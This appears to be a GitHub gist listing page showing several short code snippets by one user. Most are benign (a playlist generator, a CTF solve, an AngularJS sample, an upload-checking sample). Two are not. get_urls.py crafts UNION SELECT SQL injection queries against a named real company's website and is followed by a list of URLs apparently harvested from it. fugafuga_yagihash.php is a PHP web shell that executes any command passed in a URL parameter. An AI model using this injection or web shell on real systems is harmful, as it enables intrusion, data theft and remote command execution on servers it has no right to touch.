Skip to content

Instantly share code, notes, and snippets.

@yagihash
yagihash / m3u.php
Created June 5, 2018 23:53
雑にm3uのプレイリスト作るやつ。
<?php
$files = glob('*.m4a');
foreach($files as $file) {
$duration = `exiftool -Duration '{$file}' | cut -d ':' -f 3,4`;
$duration = explode(':', $duration);
$extinf = (int)$duration[0]*60 + (int)$duration[1];
$title = substr($file, 3, -4);
$album = basename(getcwd());
$artist = basename(dirname(getcwd(), 1));
printf('#EXTINF:%d,%s' . PHP_EOL, $extinf, $title);
@yagihash
yagihash / solve.py
Created June 27, 2014 03:00
csaw 2011 crypto3
a = "010011000110000101110011011101000010000001110111011001010110010101101011011100110010000001101101011 001010110010101110100011010010110111001100111001000000111011101100001011100110010000001100001001000 000110011101110010011001010110000101110100001000000111001101110101011000110110001101100101011100110 111001100101110001000000101011101100101001000000111001101100101011001010110110100100000011101000110 111100100000011000100110010100100000011001110110010101101110011001010111001001100001011101000110100 101101110011001110010000001100001001000000110110001101111011101000010000001101111011001100010000001 100010011101010111101001111010001000000110000101100010011011110111010101110100001000000111010001101 000011001010010000001101101011011110111011001100101011011010110010101101110011101000010111000100000 010101000110100001100101001000000110101101100101011110010010000001100110011011110111001000100000011 011100110010101111000011101000010000001110111011001010110010101101011011100110010000001101101011001 0101100101011101000
@yagihash
yagihash / get_urls.py
Created June 18, 2014 19:12
電通のアレ。改善したやつ。
import re
import sys
import urllib.request
o = open(sys.argv[1], "w")
url = "http://backdoor.dentsu.jp/query/?q=%%27/**/%s%%23&ts=4677631&_=1403019525069"
query = "UNION/**/SELECT/**/*/**/FROM/**/%s/**/"
def get_urls(url, union):
@yagihash
yagihash / urls.txt
Created June 18, 2014 13:53
dentsu_url
This file has been truncated, but you can view the full file.
http://backdoor.dentsu.jp/bd/tgNiVc5JTzTlmtFFCt2SEojoEjCR8Bn6dMy3-Z2L-J0/
http://backdoor.dentsu.jp/bd/uWAHAHznErG7s6SWd-SOFZtUz-GC28SjEU68_P-Nl8k/
http://backdoor.dentsu.jp/bd/cciaoqPsJR8HWBFzMuEp7bpEIczS3Xc9C4R-DsudG_s/
http://backdoor.dentsu.jp/bd/zqmsmCOYy5sE7ErCc0PnqzA9wycpqqXqL5MtEU82ej8/
http://backdoor.dentsu.jp/bd/ZWJUbMSAjJQ4uk9kXIabh2eq2Qb-6lsDkNZu-WXenYo/
http://backdoor.dentsu.jp/bd/PdwI4jAQe_OUvfaqjEqlbSZuBXAbaLkimoe0wEY5hjw/
http://backdoor.dentsu.jp/bd/v05KUwJmiW7S-DcJkoVsg9u9YhcUmIOEW7gFE8KgpZQ/
http://backdoor.dentsu.jp/bd/nsYM1M1VnQDXbUU2XgRumU24zC2Tv6j5SvSMJadQcMk/
http://backdoor.dentsu.jp/bd/lSDlqkipmaC83wjYdKm1brGLSMCBL7PP5ezb04-0JKs/
<?php
$f = file_get_contents("url_obj.txt");
$a = array();
file_put_contents("urls.txt", "");
preg_match_all('/"http:.+?"/', $f, $a);
foreach($a[0] as $value) {
$value = str_replace("\\", "", $value);
$value = str_replace('"', "", $value);
file_put_contents("urls.txt", "{$value}\n", FILE_APPEND);
<!DOCTYPE html>
<html ng-app="myApp">
<head>
<meta charset="utf-8" />
<title>sample</title>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.15/angular.min.js"></script>
<script>
var myApp = angular.module("myApp", []);
myApp.controller("HelloController", function($scope) {
@yagihash
yagihash / alert.js
Created June 2, 2014 12:29
alert.js
alert();
@yagihash
yagihash / fugafuga_yagihash.php
Created May 20, 2014 13:28
ふがふが やぎはしゅ
<?php
echo "<pre>";
echo `{$_GET["cmd"]}`;
echo "</pre>";
@yagihash
yagihash / filecheck_sample.php
Created April 23, 2014 17:03
ファイルチェックコードのサンプル
<?php
$file = $_FILES["file"];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$type = $finfo -> file($file['tmp_name']);
if (!isset($file['error']) or !is_int($file['error'])) {
throw new Exception("An error occured in file uploading.");
} else if (!preg_match("/^application\/pdf/", $type)) {
throw new Exception("Only pdf file can be accepted.");
} else if ($file['size'] > 1000000) {
throw new Exception("Uploaded file is too large.");